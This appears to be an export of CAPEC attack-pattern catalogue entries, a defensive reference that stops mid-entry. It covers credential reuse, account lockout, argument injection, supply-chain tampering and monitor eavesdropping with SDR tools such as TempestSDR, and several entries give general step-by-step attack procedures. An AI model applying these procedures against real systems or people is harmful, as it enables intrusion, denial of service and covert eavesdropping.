DEPRECATED: ICMP Echo Request Ping Meta This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-285". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-288
2018-07-31 02:00:00 2.1 None None Deprecated Low 3.9
DEPRECATED: Infrastructure-based footprinting Meta This attack pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the meta level pattern CAPEC-169 : going forward, or to any of its children patterns. 2014-06-23 02:00:00 Capec: CAPEC-289
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
Bypassing Physical Security Meta Facilities often used layered models for physical security such as traditional locks, Electronic-based card entry systems, coupled with physical alarms. Hardware security mechanisms range from the use of computer case and cable locks as well as RFID tags for tracking computer assets. This layered approach makes it difficult for random physical security breaches to go unnoticed, but is less effective at stopping deliberate and carefully planned break-ins. Avoiding detection begins with evading building security and surveillance and methods for bypassing the electronic or physical locks which secure entry points. 2014-06-23 02:00:00 Capec: CAPEC-390
Reference_from_capec: REF-33
2014-06-23 02:00:00 2.1 Physical Security
None None Draft None 3.9
DEPRECATED: Social Information Gathering Attacks Meta This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information. 2014-06-23 02:00:00 Capec: CAPEC-404
Reference_from_capec: REF-348
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Social Information Gathering via Research Meta This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information. 2014-06-23 02:00:00 Capec: CAPEC-405
Reference_from_capec: REF-348
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Information Gathering from Traditional Sources Meta This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information. 2014-06-23 02:00:00 Capec: CAPEC-408
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Information Gathering from Non-Traditional Sources Meta This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information. 2014-06-23 02:00:00 Capec: CAPEC-409
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
Information Elicitation Meta An adversary engages an individual using any combination of social engineering methods for the purpose of extracting information. Accurate contextual and environmental queues, such as knowing important information about the target company or individual can greatly increase the success of the attack and the quality of information gathered. Authentic mimicry combined with detailed knowledge increases the success of elicitation attacks. 2014-06-23 02:00:00 Capec: CAPEC-410
Reference_from_capec: REF-348
2017-08-04 02:00:00 2.1 Social Engineering
Software
None None Draft Low 3.9
407
DEPRECATED: Pretexting Meta This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-407 : Social Information Gathering via Pretexting". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-411
2017-08-04 02:00:00 2.1 None None Deprecated None 3.9
Manipulate Human Behavior Meta An adversary exploits inherent human psychological predisposition to influence a targeted individual or group to solicit information or manipulate the target into performing an action that serves the adversary's interests. Many interpersonal social engineering techniques do not involve outright deception, although they can; many are subtle ways of manipulating a target to remove barriers, make the target feel comfortable, and produce an exchange in which the target is either more likely to share information directly, or let key information slip out unintentionally. A skilled adversary uses these techniques when appropriate to produce the desired outcome. Manipulation techniques vary from the overt, such as pretending to be a supervisor to a help desk, to the subtle, such as making the target feel comfortable with the adversary's speech and thought patterns. 2014-06-23 02:00:00 Capec: CAPEC-416
Reference_from_capec: REF-348
2017-08-04 02:00:00 2.1 Integrity:
  • Other (Attack patterns that manipulate human behavior can result in a wide variety of consequences and potentially affect the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attack patterns that manipulate human behavior can result in a wide variety of consequences and potentially affect the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attack patterns that manipulate human behavior can result in a wide variety of consequences and potentially affect the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
None Medium
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
Stable Medium 3.9
DEPRECATED: Target Influence via Perception of Concession Meta This attack pattern has been deprecated as it was deemed not to be a legitimate pattern. 2014-06-23 02:00:00 Capec: CAPEC-419
2017-08-04 02:00:00 2.1 None None Deprecated None 3.9
Modification During Manufacture Meta An attacker modifies a technology, product, or component during a stage in its manufacture for the purpose of carrying out an attack against some entity involved in the supply chain lifecycle. There are an almost limitless number of ways an attacker can modify a technology when they are involved in its manufacture, as the attacker has potential inroads to the software composition, hardware design and assembly, firmware, or basic design mechanics. Additionally, manufacturing of key components is often outsourced with the final product assembled by the primary manufacturer. The greatest risk, however, is deliberate manipulation of design specifications to produce malicious hardware or devices. There are billions of transistors in a single integrated circuit and studies have shown that fewer than 10 transistors are required to create malicious functionality. 2014-06-23 02:00:00 Capec: CAPEC-438
Attack: T1195
Reference_from_capec: REF-379
Reference_from_capec: REF-380
Reference_from_capec: REF-381
Reference_from_capec: REF-382
2021-06-24 02:00:00 2.1 Supply Chain
Software
Hardware
None None Draft None 3.9
Manipulation During Distribution Meta An attacker undermines the integrity of a product, software, or technology at some stage of the distribution channel. The core threat of modification or manipulation during distribution arise from the many stages of distribution, as a product may traverse multiple suppliers and integrators as the final asset is delivered. Components and services provided from a manufacturer to a supplier may be tampered with during integration or packaging. 2014-06-23 02:00:00 Capec: CAPEC-439
Cwe: CWE-1269
Attack: T1195
Reference_from_capec: REF-379
Reference_from_capec: REF-384
Reference_from_capec: REF-382
2021-06-24 02:00:00 2.1 Supply Chain
Hardware
  1. A malicious OEM provider, or OEM provider employee or contractor, may install software, or modify existing code, during distribution.
  2. External contractors involved in the packaging or testing of products or components may install software, or modify existing code, during distribution.
None None Draft None 3.9
Hardware Integrity Attack Meta An adversary exploits a weakness in the system maintenance process and causes a change to be made to a technology, product, component, or sub-component or a new one installed during its deployed use at the victim location for the purpose of carrying out an attack. 2014-06-23 02:00:00 Capec: CAPEC-440
Attack: T1195.003
Attack: T1200
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
Supply Chain
Physical Security
Hardware
None Low
  • Influence over the deployed system at a victim location.
Stable High 3.9
Malicious Logic Insertion Meta An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain. 2014-06-23 02:00:00 Capec: CAPEC-441
Cwe: CWE-284
2018-07-31 02:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Software
Hardware
None Medium
  • Access to the component currently deployed at a victim location.
Stable High 3.9
Physical Theft Meta An adversary gains physical access to a system or device through theft of the item. Possession of a system or device enables a number of unique attacks to be executed and often provides the adversary with an extended timeframe for which to perform an attack. Most protections put in place to secure sensitive information can be defeated when an adversary has physical access and enough time. 2014-06-23 02:00:00 Capec: CAPEC-507
2014-06-23 02:00:00 2.1 Physical Security
None None
  • This type of attack requires the existence of a physical target that an adversary believes hosts something of value.
Draft None 3.9
Contaminate Resource Meta An adversary contaminates organizational information systems (including devices and networks) by causing them to handle information of a classification/sensitivity for which they have not been authorized. When this happens, the contaminated information system, device, or network must be brought offline to investigate and mitigate the data spill, which denies availability of the system until the investigation is complete. Contamination through email is a very common attack vector. Systems with email servers or personal work systems using email are susceptible to this attack simply by receiving an email that contains a classified document or information. A fake classified document could even be used that is mistaken as true classified material. This would still cause the system to be taken offline until the validity of the classified material is confirmed. 2014-06-23 02:00:00 Capec: CAPEC-548
Reference_from_capec: REF-742
Reference_from_capec: REF-743
2023-01-24 01:00:00 2.1
  • Data Spill
Availability:
  • Resource Consumption (Denial of Service)
Confidentiality:
  • Read Data (Victims of the attack can be exposed to classified materials)
Software
Hardware
  1. An insider threat was able to obtain a classified document. They have knowledge that a backend server which provides access to a website also runs a mail server. The adversary creates a throwaway email address and sends the classified document to the mail server. When an administrator checks the mail server they notice that it has processed an email with a classified document and the server has to be taken offline while they investigate the contamination. In the meantime, the website has to be taken down as well and access to the website is denied until the backend can be migrated to another server or the investigation is complete.
None Low
  • The adversary needs to have real or fake classified/sensitive information to place on a system
Low: The ability to fake a classified document High: The ability to obtain a classified document or information Draft High 3.9
Local Execution of Code Meta An adversary installs and executes malicious code on the target system in an effort to achieve a negative technical impact. Examples include rootkits, ransomware, spyware, adware, and others. 2015-11-09 01:00:00 Capec: CAPEC-549
Cwe: CWE-829
2021-06-24 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Other (Depending on the type of code executed by the adversary, the consequences of this attack pattern can vary widely.)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Other (Depending on the type of code executed by the adversary, the consequences of this attack pattern can vary widely.)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Other (Depending on the type of code executed by the adversary, the consequences of this attack pattern can vary widely.)
Software
  1. BlueBorne refers to a set of nine vulnerabilities on different platforms (Linux, Windows, Android, iOS) that offer an adversary the ability to install and execute malicious code on a system if they were close in proximity to a Bluetooth enabled device. One vulnerability affecting iOS versions 7 through 9 allowed an attacker to overflow the Low Energy Audio Protocol since commands sent over this protocol are improperly validated and gain the elevated permissions of the Bluetooth stack. These vulnerabilities were a result of poor validation and were patched shortly after their exposure in 2017, but many non-updated devices remain vulnerable.
None Medium
  • Knowledge of the target system's vulnerabilities that can be capitalized on with malicious code.The adversary must be able to place the malicious code on the target system.
  • The means by which the adversary intends to place the malicious code on the system dictates the tools required. For example, suppose the adversary wishes to leverage social engineering and convince a legitimate user to open a malicious file attached to a seemingly legitimate email. In this case, the adversary might require a tool capable of wrapping malicious code into an innocuous filetype (e.g., PDF, .doc, etc.)
Stable High 3.9
542
Functionality Bypass Meta An adversary attacks a system by bypassing some or all functionality intended to protect it. Often, a system user will think that protection is in place, but the functionality behind those protections has been disabled by the adversary. 2015-12-07 01:00:00 Capec: CAPEC-554
Cwe: CWE-424
Cwe: CWE-1299
2021-06-24 02:00:00 2.1 Software
None Medium Draft High 3.9
Use of Known Domain Credentials Meta An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service. Attacks leveraging trusted credentials typically result in the adversary laterally moving within the local network, since users are often allowed to login to systems/applications within the network using the same password. This further allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more. Attacks on known passwords generally rely on the primary fact that users often reuse the same username/password combination for a variety of systems, applications, and services, coupled with poor password policies on the target system or application. Adversaries can also utilize known passwords to target Single Sign On (SSO) or cloud-based applications and services, which often don't verify the authenticity of the user's input. Known credentials are usually obtained by an adversary via a system/application breach and/or by purchasing dumps of credentials on the dark web. These credentials may be further gleaned via exposed configuration and properties files that contain system passwords, database connection strings, and other sensitive data. 2015-11-09 01:00:00 Capec: CAPEC-560
Cwe: CWE-522
Cwe: CWE-307
Cwe: CWE-308
Cwe: CWE-309
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-654
Cwe: CWE-1273
Attack: T1078
Reference_from_capec: REF-570
Reference_from_capec: REF-571
Reference_from_capec: REF-572
Reference_from_capec: REF-573
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Read Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
Hardware
  1. Throughout 2015 and 2016, APT28 — also known as Pawn Storm, Sednit, Fancy Bear, Sofacy, and STRONTIUM — leveraged stolen credentials to infiltrate the Democratic National Committee (DNC), the United States Army, the World Anti- Doping Agency (WADA), the Court of Arbitration for Sport (TAS-CAS), and more. In most cases, the legitimate credentials were obtained via calculated spearphishing, tabnabbing, and DNS attacks targeted at corporate webmail systems. APT28 also executed several watering hole attacks, in addition to exploiting several zero-day vulnerabilities within Flash and Windows. The stolen credentials were then utilized to maintain authenticated access, laterally move within the local network, and exfiltrate sensitive information including DNC emails and personal medical records of numerous athletes. [REF-571]
  2. In early 2019, FIN6 exploited stolen credentials from an organization within the engineering industry to laterally move within an environment via the Windows’ Remote Desktop Protocol (RDP). Multiple servers were subsequently infected with malware to create malware distribution servers, which were used to distribute the LockerGoga ransomware. [REF-573]

Explore

  1. Acquire known credentials: The adversary must obtain known credentials in order to access the target system, application, or service.
  2. Techniques
    An adversary purchases breached username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal credentials as they are transmitted.
    An adversary gains access to a database and exfiltrates password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.
  3. Determine target's password policy: Determine the password policies of the target system/application to determine if the known credentials fit within the specified criteria.
  4. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks if multiple passwords are known for a single user account).

Experiment

  1. Attempt authentication: Try each credential until the target grants access.
  2. Techniques
    Manually or automatically enter each credential through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within a system or application
  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.
  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.
High
  • The system/application uses one factor password based authentication, SSO, and/or cloud-based authentication.
  • The system/application does not have a sound password policy that is being enforced.
  • The system/application does not implement an effective password throttling mechanism.
  • The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target.
  • A list of known credentials.
  • A custom script that leverages the credential list to launch an attack.
Low: Once an adversary obtains a known credential, leveraging it is trivial. Stable High 3.9
Object Injection Meta An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution. 2017-02-06 01:00:00 Capec: CAPEC-586
Cwe: CWE-502
Reference_from_capec: REF-468
2020-12-17 01:00:00 2.1 Integrity:
  • Modify Data (Attackers can modify objects or data that was assumed to be safe from modification.)
Availability:
  • Resource Consumption (If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate and exhaust available resources.)
Authorization:
  • Execute Unauthorized Commands (Functions that assume information in the deserialized object is valid could be exploited.)
Software
None Medium
  • The target application must unserialize data before validation.
Draft High 3.9
Traffic Injection Meta An adversary injects traffic into the target's network connection. The adversary is therefore able to degrade or disrupt the connection, and potentially modify the content. This is not a flooding attack, as the adversary is not focusing on exhausting resources. Instead, the adversary is crafting a specific input to affect the system in a particular way. 2017-01-03 01:00:00 Capec: CAPEC-594
Cwe: CWE-940
2021-06-24 02:00:00 2.1 Integrity:
  • Other (An adversary's injection of additional content into a communication channel negatively impacts the integrity of that channel.)
Availability:
  • Unreliable Execution (The injection of specific content into a connection can trigger a disruption in that communications channel, thereby denying availability of the service.)
Communications
Software
None None
  • The target application must leverage an open communications channel.
  • The channel on which the target communicates must be vulnerable to interception (e.g., adversary in the middle attack - CAPEC-94).
  • A tool, such as a MITM Proxy, that is capable of generating and injecting custom inputs to be used in the attack.
Stable None 3.9
595
DEPRECATED: Degradation Meta This attack pattern has been deprecated. 2015-11-09 01:00:00 Capec: CAPEC-602
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
Obstruction Meta An attacker obstructs the interactions between system components. By interrupting or disabling these interactions, an adversary can often force the system into a degraded state or cause the system to stop working as intended. This can cause the system components to be unavailable until the obstruction mitigated. 2015-11-09 01:00:00 Capec: CAPEC-607
2023-01-24 01:00:00 2.1 Availability:
  • Resource Consumption
Social Engineering
Communications
Software
Physical Security
Hardware
None None Draft None 3.9
Hardware Fault Injection Meta The adversary uses disruptive signals or events, or alters the physical environment a device operates in, to cause faulty behavior in electronic devices. This can include electromagnetic pulses, laser pulses, clock glitches, ambient temperature extremes, and more. When performed in a controlled manner on devices performing cryptographic operations, this faulty behavior can be exploited to derive secret key information. 2015-11-09 01:00:00 Capec: CAPEC-624
Cwe: CWE-1247
Cwe: CWE-1248
Cwe: CWE-1256
Cwe: CWE-1319
Cwe: CWE-1332
Cwe: CWE-1334
Cwe: CWE-1338
Cwe: CWE-1351
2022-09-29 02:00:00 2.1
  • Side-Channel Attack
Integrity:
  • Execute Unauthorized Commands (If an adversary is able to inject data via a fault or side channel vulnerability towards malicious ends, the integrity of the application or information system will be compromised.)
Confidentiality:
  • Read Data (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)
  • Bypass Protection Mechanism (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)
  • Hide Activities (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)
Communications
Hardware
None Low
  • Physical access to the system
  • The adversary must be cognizant of where fault injection vulnerabilities exist in the system in order to leverage them for exploitation.
  • The relevant sensors and tools to detect and analyze fault/side-channel data from a system. A tool capable of injecting fault/side-channel data into a system or application.
High: Adversaries require non-trivial technical skills to create and implement fault injection attacks. Although this style of attack has become easier (commercial equipment and training classes are available to perform these attacks), they usual require significant setup and experimentation time during which physical access to the device is required. Stable High 3.9
625
Metadata Spoofing Meta An adversary alters the metadata of a resource (e.g., file, directory, repository, etc.) to present a malicious resource as legitimate/credible. One approach to this attack entails the adversary altering a maliciously modified resource's metadata in order to hide their malicious activity. Another approach involves altering the metadata of an adversary-created resource to make the source appear more credible. Adversaries may spoof a variety of metadata across a number of resources, such as the following: Authors of Version Control System (VCS) repository commits Open source package statistics File attributes, such as when a file was last update The ultimate goal of a Metadata Spoofing attack is to trick victims into believing the malicious resource being provided originates from a reputable source. However, the victim instead leverages the malicious resource, which could result in a number of negative technical impacts. 2022-09-29 02:00:00 Capec: CAPEC-690
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands
Access Control:
  • Execute Unauthorized Commands
Accountability:
  • Hide Activities
Social Engineering
Supply Chain
Software
None Medium
  • Identification of a resource whose metadata is to be spoofed
Medium: Ability to spoof a variety of metadata to convince victims the source is trusted Stable High 3.9
691
Eavesdropping on a Monitor Meta An Adversary can eavesdrop on the content of an external monitor through the air without modifying any cable or installing software, just capturing this signal emitted by the cable or video port, with this the attacker will be able to impact the confidentiality of the data without being detected by traditional security tools This attack gives the adversary the ability to view an external monitor with an insignificant delay. There is also no indicator of compromise from the victim visible on the monitor. The eavesdrop is possible due to a signal leakage, that is produced at different points of the connection, including the source port, the connection between the cable and PC, the cable itself, and the connection between the cable and the monitor. That signal leakage can be captured near any of the leak points, but also in a near location, like the next room or a few meters away, using an SDR (Software-defined Radio) device and the correspondent software, that process and interpret the signal to show attackers what the monitor is displaying. From the victim’s point of view, this specified attack might cause a high risk, and from the other hand, from the attacker’s point of view, the attack is excellent, since the specified attack method can be used without investing too much effort or require too many skills, as long as the right attack tool is in right place, this allows attackers to completely compromise the confidentiality of the data; also giving the attacker the advantage of being undetectable by not only traditional security products but also from bug sweep because the SDR device is acting in passive mode. 2023-01-24 01:00:00 Capec: CAPEC-699
Cwe: CWE-1300
Reference_from_capec: REF-744
Reference_from_capec: REF-745
2023-01-24 01:00:00 2.1 Confidentiality:
  • Read Data

Explore

  1. Survey Target: The adversary surveys the target location, looking for exposed display cables and locations to hide an SDR. This also includes looking for display cables or monitors placed close to a wall, where the SDR can be in range while behind the wall. The adversary also attempts to discover the resolution and refresh rate of the targeted display.

Experiment

  1. Find target using SDR: The adversary sets up an SDR near the target display cable or monitor. They use the SDR software to locate the corresponding frequency of the display cable. This is done by looking for interference peaks that change depending on what the screen is showing. The adversary notes down the possible frequencies of unintentional emission.
  2. Techniques
    An adversary can make use of many different commercially available SDR devices which are easy to setup such as a HackRF, Ubertooth, RTL-SDR, and many others.

Exploit

  1. Visualize Monitor Image: Once the SDR software has been used to identify the target, the adversary will record the transmissions and visualize the monitor image using these transmissions, which allows them to eavesdrop on the information visible on the monitor.
  2. Techniques
    The TempestSDR software can be used in conjunction an SDR device to visualize the monitor image. The adversary will specify the known monitor resolution and refresh rate, or if those are not known they can use the provided auto-correlation graphs to help predict these values. The adversary will then try the different frequencies recorded from the experiment phase, looking for a viewing monitor display. Low pass filters and gain can be manipulated to make the display image clearer.
Medium
  • Victim should use an external monitor device
  • Physical access to the target location and devices
  • SDR device set with the correspondent antenna
  • Computer with SDR Software
Low: Understanding of computing hardware, to identify the video cable and video ports Medium: Knowledge of how to use the SDR and related software: With this knowledge, the adversary will find the correct frequency where the signal is being leaked Draft High 3.9
651
Accessing Functionality Not Properly Constrained by ACLs Standard In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to. 2014-06-23 02:00:00 Capec: CAPEC-1
Cwe: CWE-276
Cwe: CWE-285
Cwe: CWE-434
Cwe: CWE-693
Cwe: CWE-732
Cwe: CWE-1191
Cwe: CWE-1193
Cwe: CWE-1220
Cwe: CWE-1297
Cwe: CWE-1311
Cwe: CWE-1314
Cwe: CWE-1315
Cwe: CWE-1318
Cwe: CWE-1320
Cwe: CWE-1321
Cwe: CWE-1327
Attack: T1574.010
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
Hardware
  1. Implementing the Model-View-Controller (MVC) within Java EE's Servlet paradigm using a "Single front controller" pattern that demands that brokered HTTP requests be authenticated before hand-offs to other Action Servlets. If no security-constraint is placed on those Action Servlets, such that positively no one can access them, the front controller can be subverted.

Explore

  1. Survey: The attacker surveys the target application, possibly as a valid and authenticated user
  2. Techniques
    Spidering web sites for all available links
    Brute force guessing of resource names
    Brute force guessing of user names / credentials
    Brute force guessing of function names / actions
  3. Identify Functionality: At each step, the attacker notes the resource or functionality access mechanism invoked upon performing specific actions
  4. Techniques
    Use the web inventory of all forms and inputs and apply attack data to those inputs.
    Use a packet sniffer to capture and record network traffic
    Execute the software in a debugger and record API calls into the operating system or important libraries. This might occur in an environment other than a production environment, in order to find weaknesses that can be exploited in a production environment.

Experiment

  1. Iterate over access capabilities: Possibly as a valid user, the attacker then tries to access each of the noted access mechanisms directly in order to perform functions not constrained by the ACLs.
  2. Techniques
    Fuzzing of API parameters (URL parameters, OS API parameters, protocol parameters)
High
  • The application must be navigable in a manner that associates elements (subsections) of the application with ACLs.
  • The various resources, or individual URLs, must be somehow discoverable by the attacker
  • The administrator must have forgotten to associate an ACL or has associated an inappropriately permissive ACL with a particular navigable resource.
  • None: No specialized resources are required to execute this type of attack.
Low: In order to discover unrestricted resources, the attacker does not need special tools or skills. They only have to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly. Draft High 3.9
122
Inducing Account Lockout Standard An attacker leverages the security functionality of the system aimed at thwarting potential attacks to launch a denial of service attack against a legitimate system user. Many systems, for instance, implement a password throttling mechanism that locks an account after a certain number of incorrect log in attempts. An attacker can leverage this throttling mechanism to lock a legitimate user out of their own account. The weakness that is being leveraged by an attacker is the very security feature that has been put in place to counteract attacks. 2014-06-23 02:00:00 Capec: CAPEC-2
Cwe: CWE-645
Attack: T1531
2021-06-24 02:00:00 2.1 Availability:
  • Resource Consumption (Denial of Service)
Software
  1. A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

Experiment

  1. Investigate account lockout behavior of system: Investigate the security features present in the system that may trigger an account lockout
  2. Techniques
    Analyze system documentation to find list of events that could potentially cause account lockout
    Obtain user account in system and attempt to lock it out by sending malformed or incorrect data repeatedly
    Determine another user's login ID, and attempt to brute force the password (or other credentials) for it a predetermined number of times, or until the system provides an indication that the account is locked out.
  3. Obtain list of user accounts to lock out: Generate a list of valid user accounts to lock out
  4. Techniques
    Obtain list of authorized users using another attack pattern, such as SQL Injection.
    Attempt to create accounts if possible; system should indicate if a user ID is already taken.
    Attempt to brute force user IDs if system reveals whether a given user ID is valid or not upon failed login attempts.

Exploit

  1. Lock Out Accounts: Perform lockout procedure for all accounts that the attacker wants to lock out.
  2. Techniques
    For each user ID to be locked out, perform the lockout procedure discovered in the first step.
High
  • The system has a lockout mechanism.
  • An attacker must be able to reproduce behavior that would result in an account being locked.
  • Computer with access to the login portion of the target system
Low: No programming skills or computer knowledge is needed. An attacker can easily use this attack pattern following the Execution Flow above. Draft Medium 3.9
212
Argument Injection Standard An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods. 2014-06-23 02:00:00 Capec: CAPEC-6
Cwe: CWE-74
Cwe: CWE-146
Cwe: CWE-184
Cwe: CWE-78
Cwe: CWE-185
Cwe: CWE-697
Reference_from_capec: REF-1
Reference_from_capec: REF-482
2021-06-24 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. A recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell. [REF-482]

Explore

  1. Discovery of potential injection vectors: Using an automated tool or manual discovery, the attacker identifies services or methods with arguments that could potentially be used as injection vectors (OS, API, SQL procedures, etc.).
  2. Techniques
    Manually cover the application and record the possible places where arguments could be passed into external systems.
    Use a spider, for web applications, to create a list of URLs and associated inputs.

Experiment

  1. 1. Attempt variations on argument content: Possibly using an automated tool, the attacker will perform injection variations of the arguments.
  2. Techniques
    Use a very large list of probe strings in order to detect if there is a positive result, and, what type of system has been targeted (if obscure).
    Use a proxy tool to record results, error messages and/or log if accessible.

Exploit

  1. Abuse of the application: The attacker injects specific syntax into a particular argument in order to generate a specific malicious effect in the targeted application.
  2. Techniques
    Manually inject specific payload into targeted argument.
High
  • Target software fails to strip all user-supplied input of any content that could cause the shell to perform unexpected actions.
  • Software must allow for unvalidated or unfiltered input to be executed on operating system shell, and, optionally, the system configuration must allow for output to be sent back to client.
  • Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Medium: The attacker has to identify injection vector, identify the operating system-specific commands, and optionally collect the output. Draft High 3.9
137
Choosing Message Identifier Standard This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one. 2014-06-23 02:00:00 Capec: CAPEC-12
Cwe: CWE-201
Cwe: CWE-306
2022-02-22 01:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Communications
  1. A certain B2B interface on a large application codes for messages passed over an MQSeries queue, on a single "Partners" channel. Messages on that channel code for their client destination based on a partner_ID field, held by each message. That field is a simple integer. Adversaries having access to that channel, perhaps a particularly nosey partner, can simply choose to store messages of another partner's ID and read them as they desire. Note that authentication does not prevent a partner from leveraging this attack on other partners. It simply disallows adversaries without partner status from conducting this attack.

Explore

  1. Determine Nature of Messages: Determine the nature of messages being transported as well as the identifiers to be used as part of the attack

Experiment

  1. Authenticate: If required, authenticate to the distribution channel
  2. Identify Known Client Identifiers: If any particular client's information is available through a control channel available to all users, the adversary will discover particular identifiers for targeted clients by observing this channel, or requesting client information through this channel.
  3. Change Message Identifier: Adversaries with client access connecting to output channels could change their channel identifier and see someone else's (perhaps more privileged) data.
High
21
  • Information and client-sensitive (and client-specific) data must be present through a distribution channel available to all users.
  • Distribution means must code (through channel, message identifiers, or convention) message destination in a manner visible within the distribution means itself (such as a control channel) or in the messages themselves.
  • The adversary needs the ability to control source code or application configuration responsible for selecting which message/channel id is absorbed from the public distribution means.
Low: All the adversary needs to discover is the format of the messages on the channel/distribution means and the particular identifier used within the messages. Draft High 3.9
216
Command Delimiters Standard An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on. 2014-06-23 02:00:00 Capec: CAPEC-15
Cwe: CWE-146
Cwe: CWE-77
Cwe: CWE-184
Cwe: CWE-78
Cwe: CWE-185
Cwe: CWE-93
Cwe: CWE-140
Cwe: CWE-157
Cwe: CWE-138
Cwe: CWE-154
Cwe: CWE-697
Reference_from_capec: REF-1
2021-06-24 02:00:00 2.1 Integrity:
